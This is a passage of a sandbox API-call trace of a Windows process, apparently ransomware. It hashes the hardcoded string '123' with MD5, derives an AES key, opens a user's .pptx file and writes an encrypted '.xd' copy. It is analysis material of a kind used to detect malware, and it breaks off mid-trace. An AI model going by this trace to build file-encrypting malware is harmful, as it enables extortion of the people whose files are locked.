PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.651] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.651] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0071.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.652] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.652] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.652] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.653] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.653] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.653] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.653] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.653] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.653] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.654] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.654] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.654] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629340, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.655] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.656] CryptHashData (hHash=0x164c7f0, pbData=0x16294d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.656] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.657] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c7f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0071.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.657] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.658] CryptDestroyHash (hHash=0x164c7f0) returned 1 [0071.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tl4nilvufvf8-7ew.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.658] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.658] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.658] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.659] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tl4nilvufvf8-7ew.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.662] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.662] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0071.664] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x87a4, lpOverlapped=0x0) returned 1 [0071.665] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.669] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.671] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.671] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.671] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.671] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.671] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.671] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.671] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.671] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.671] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.671] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.672] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.672] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.672] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.672] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.672] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.672] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.672] 